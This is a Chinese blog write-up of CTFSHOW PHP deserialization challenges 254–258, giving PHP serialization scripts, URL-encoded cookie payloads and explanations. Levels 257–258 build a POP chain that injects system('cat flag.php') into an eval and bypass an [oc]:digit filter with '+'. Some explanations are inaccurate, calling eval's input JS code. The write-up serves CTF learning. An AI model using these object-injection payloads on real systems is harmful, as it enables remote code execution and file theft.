CTF-PHP反序列化

CTFSHOW-关卡254到258-原生类&POP构造

CTF-254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

解题思路:触发vipOneKeyGetFlag这个方法,同时让方法中的判断为真才能获取flag。

首先分析代码,查看下方判断,用两个GET方法接受账号密码,然后创建ctfShowUser这个类的对象,调用login这个方法,当该方法将isVip赋值为真时才能触发checkVip方法并返回为真,最后触发vipOneKeyGetFlag获取flag。

可以从login方法入手,当$u和$p等于username和password时,isVip将赋值为true。然后执行checkVip方法返回为true时,最后触发vipOneKeyGetFlag获取flag。

通过代码可以发现username和password的值为xxxxxx,那么直接传递账号密码为xxxxxx,底部直接获取flag

 

 

 

CTF-255-反序列化变量修改

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

该关的源码与上关差距不大,但是在login方法中除了简单比较了一下username和password并没有将isVip改为true,那么在后面的checkVip方法中就无法返回true,无法在vipOneKeyGetFlag方法中获取flag

思路:下方的$user接受的是反序列化,那么可以利用反序列化将isVip的值直接改为true

利用网页工具 菜鸟php工具 将ctfShowUser这个类进行序列化并将isVip的值改为true,获取序列化字符串,使用urlencode编码防止赋值到网页时一些空格或其他数据造成的影响 

查看源代码可知道反序列化是在cookie中的user里面的内容,那么访问页面利用burpsuite进行截断,并添加cookie和其中的user,将user值改为序列化字符串,再在url头部进行username和password的传输

 

放出截断的代码获取flag。

 

 

CTF-256-反序列化参数修改

public $username='x';

public $password='y';

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

该关的考点非常清楚,在login和vipOneKeyGetFlag两个方法中$u和$p与username和password分别要全等,但是username和password不能全等。

思路:依旧用上一关的办法并且修改掉$username和password$的值即可,然后在x和y中传递与username和password相同的值,那么即可绕过判断。

 

依旧利用burp截断网页,利用url头传递参数并添加cookie 

 

 

CTF-257-反序列化参数修改&对象调用逻辑


class ctfShowUser{

    private $class;

    public function __construct(){

        $this->class=new backDoor();

    }

}

class backDoor{

    private $code='system("cat f*");';

}

$b=new ctfShowUser();

echo serialize($b);

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

思路:该关出现了多个类,难度已经偏中等左右。分析代码可以发现有个eval函数,该函数可以将字符串当做JS代码执行,那么就可以从该函数入手。观察代码可以发现__destruct函数调用getInfo这个方法,但是因为ctfShowUser类中的class为info,所以destruct函数指向的info类里的getInfo,那么第一步就是将construct的实例化对象值改为backDoor,使destruct方法调用backDoor这个类中的getInfo从而触发eval函数。在利用eval函数的特性执行hs代码获取falg。

依旧利用网页工具对类进行序列化,将__construct方法的内容改为创建backDoor类的对象,当利用$a实例化ctfShowUser时就会触发__construct方法。根据源码当对象销毁时会执行destruct方法,调用backDoor中的getInfo方法,然后会执行方便eval函数,然后修改code值为JS代码让eval函数执行。

因为这个知道了路径下有flag.php文件,所以直接写上。正常情况下需要利用ls查看当前目录。

为了代码美观,无关的数据已经删掉,因为起不到作用。

 

将反序列化字符串的url编码写入到cookie中并在get中传递参数,获取flag

 

 

CTF-258-反序列化参数修改&对象调用逻辑 

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}


class backDoor{
    public $code="system('cat flag.php');";
}

$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

该关比上一关多可过滤字符,代表过滤oc开头后面带数字的数据,i代表不区分大小写,那么这个过滤导致序列化字符串生成的url编码无法使用

可以看到右边的数据就是序列化之后的数据,字母O后面带有数字所以被过滤,那么将字母o后面的数字11改为+11,数字8改为+8,不仅数值没有变,因为字母后面跟的不是纯数字,所以可以绕过过滤

 

str_place为php中的替代函数,第一个参数为要替换的数据,第二个参数为替换之后的数据,第三个参数是要替换的字符串。

注意:一定要序列化之后进行替换,在进行url编码,因为源码中过滤的序列化字符串并不是url编码数据

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
PHP序列是将PHP对象转换为字符串的过程,以便在存储或传输时使用。序列后的字符串可以通过序列操作重新还原为原始的PHP对象。\[1\] 在PHP中,可以使用serialize()函数将对象序列为字符串,然后使用unserialize()函数将字符串序列为对象。这样可以方便地在不同的环境中传递和存储对象数据。 然而,序列操作也存在安全风险。恶意用户可以构造特定的序列字符串,以触发PHP序列漏洞,导致代码执行或敏感信息泄露。因此,在进行序列操作时,需要谨慎处理输入数据,验证和过滤不可信的序列字符串。 除了使用serialize()和unserialize()函数,还可以利用一些特殊的方式来触发PHP序列漏洞。例如,通过Phar序列,可以在不使用unserialize()函数的情况下触发PHP序列漏洞。当使用phar://伪协议读取phar文件时,会自动序列meta-data中存储的信息,从而导致漏洞触发。\[2\]\[3\] 因此,在开发和使用PHP应用程序时,需要注意对序列序列操作进行安全处理,避免潜在的安全风险。这包括对输入数据进行验证和过滤,限制序列操作的权限,以及及时更新和修复可能存在的漏洞。 #### 引用[.reference_title] - *1* *2* *3* [PHP序列序列](https://blog.csdn.net/weixin_44033675/article/details/116809651)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值